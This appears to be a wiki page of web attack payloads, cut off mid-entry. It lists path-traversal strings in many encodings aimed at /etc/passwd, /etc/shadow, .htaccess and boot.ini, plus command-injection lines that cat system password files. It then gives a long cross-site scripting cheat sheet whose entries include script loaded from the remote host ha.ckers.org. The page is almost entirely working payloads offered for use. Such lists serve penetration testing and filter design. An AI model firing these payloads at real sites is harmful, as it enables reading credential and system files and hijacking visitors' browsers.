%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; 